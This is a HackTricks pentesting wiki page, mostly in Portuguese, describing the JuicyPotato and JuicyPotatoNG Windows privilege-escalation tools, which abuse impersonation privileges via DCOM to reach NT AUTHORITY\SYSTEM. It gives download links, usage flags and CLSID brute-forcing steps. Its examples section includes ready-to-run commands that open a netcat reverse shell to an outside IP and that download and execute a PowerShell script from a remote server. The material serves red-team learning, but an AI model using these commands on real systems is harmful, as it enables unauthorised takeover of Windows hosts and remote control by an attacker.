JuicyPotato

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

[!WARNING] > JuicyPotato é legacy. Geralmente funciona em versÔes do Windows até Windows 10 1803 / Windows Server 2016. AlteraçÔes da Microsoft entregues a partir do Windows 10 1809 / Server 2019 quebraram a técnica original. Para essas builds e mais recentes, considere alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e outras. Veja a pågina abaixo para opçÔes e uso atualizados.

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (abusando dos privilégios dourados)

Uma versão adoçada de RottenPotatoNG, com um pouco de suco, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM

You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Notas rĂĄpidas de compatibilidade

  • Funciona de forma confiĂĄvel atĂ© Windows 10 1803 e Windows Server 2016 quando o contexto atual possui SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.
  • Quebrado pelo hardening da Microsoft no Windows 10 1809 / Windows Server 2019 e posteriores. Prefira as alternativas ligadas acima para essas builds.

Summary

From juicy-potato Readme:

RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review we found a setup where BITS was intentionally disabled and port 6666 was taken.

We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato.

For the theory, see Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM and follow the chain of links and references.

Descobrimos que, além do BITS, existem vårios COM servers que podemos abusar. Eles só precisam:

  1. ser instanciĂĄveis pelo usuĂĄrio atual, normalmente um “service user” que tem privilĂ©gios de impersonation
  2. implementar a interface IMarshal
  3. rodar como um usuário elevado (SYSTEM, Administrator, 
)

ApĂłs alguns testes obtivemos e testamos uma lista extensa de interesting CLSID’s em vĂĄrias versĂ”es do Windows.

Juicy details

JuicyPotato permite que vocĂȘ:

  • CLSID alvo escolha qualquer CLSID que desejar. Here vocĂȘ pode encontrar a lista organizada por OS.
  • COM Listening port defina a porta de escuta COM que preferir (em vez do 6666 hardcoded usado no marshalled)
  • COM Listening IP address vincule o servidor a qualquer IP
  • Modo de criação de processo dependendo dos privilĂ©gios do usuĂĄrio impersonado vocĂȘ pode escolher entre:
  • CreateProcessWithToken (needs SeImpersonate)
  • CreateProcessAsUser (needs SeAssignPrimaryToken)
  • both
  • Process to launch inicie um executĂĄvel ou script se a exploração for bem-sucedida
  • Process Argument personalize os argumentos do processo lançado
  • RPC Server address para uma abordagem stealth vocĂȘ pode autenticar em um servidor RPC externo
  • RPC Server port Ăștil se vocĂȘ quiser autenticar em um servidor externo e o firewall estiver bloqueando a porta 135

  • TEST mode principalmente para fins de teste, i.e. testar CLSIDs. Cria o DCOM e imprime o usuĂĄrio do token. See here for testing

Usage

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

ConsideraçÔes finais

From juicy-potato Readme:

Se o usuĂĄrio tiver privilĂ©gios SeImpersonate ou SeAssignPrimaryToken entĂŁo vocĂȘ Ă© SYSTEM.

É quase impossĂ­vel prevenir o abuso de todos esses COM Servers. VocĂȘ pode pensar em modificar as permissĂ”es desses objetos via DCOMCNFG, mas boa sorte, isso vai ser desafiador.

A solução real é proteger contas sensíveis e aplicaçÔes que rodam sob as contas * SERVICE. Parar o DCOM certamente impediria esse exploit, mas poderia ter um impacto sério no sistema operacional subjacente.

From: http://ohpe.it/juicy-potato/

JuicyPotatoNG (2022+)

JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:

  • DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
  • An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
  • Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).

Important notes (evolving behavior across builds):

  • September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
  • January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.

Basic usage (more flags in the help):

JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
#  -b  Bruteforce all CLSIDs (testing only; spawns many processes)
#  -s  Scan for a COM port not filtered by Windows Defender Firewall
#  -i  Interactive console (only with CreateProcessAsUser)

Se vocĂȘ estiver direcionando Windows 10 1809 / Server 2019 onde o classic JuicyPotato foi corrigido, prefira as alternativas mencionadas no topo (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG pode ser situacional dependendo da build e do estado do serviço.

Exemplos

Nota: Visite esta pĂĄgina para uma lista de CLSIDs para testar.

Obter um reverse shell (nc.exe)

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Iniciar um novo CMD (se vocĂȘ tiver acesso RDP)

Problemas de CLSID

Frequentemente, o CLSID padrĂŁo que o JuicyPotato usa nĂŁo funciona e o exploit falha. Normalmente, sĂŁo necessĂĄrias mĂșltiplas tentativas para encontrar um CLSID funcional. Para obter uma lista de CLSIDs para tentar em um sistema operacional especĂ­fico, vocĂȘ deve visitar esta pĂĄgina:

Verificando CLSIDs

Primeiro, vocĂȘ vai precisar de alguns executĂĄveis alĂ©m do juicypotato.exe.

Download Join-Object.ps1 e carregue-o na sua sessão PS, e faça o download e execute GetCLSID.ps1. Esse script criarå uma lista de possíveis CLSIDs para testar.

Em seguida, baixe test_clsid.bat (altere o caminho para a lista de CLSID e para o executĂĄvel juicypotato) e execute-o. Ele começarĂĄ a testar cada CLSID, e quando o nĂșmero da porta mudar, isso significarĂĄ que o CLSID funcionou.

Verifique os CLSIDs funcionais usando o parĂąmetro -c

ReferĂȘncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks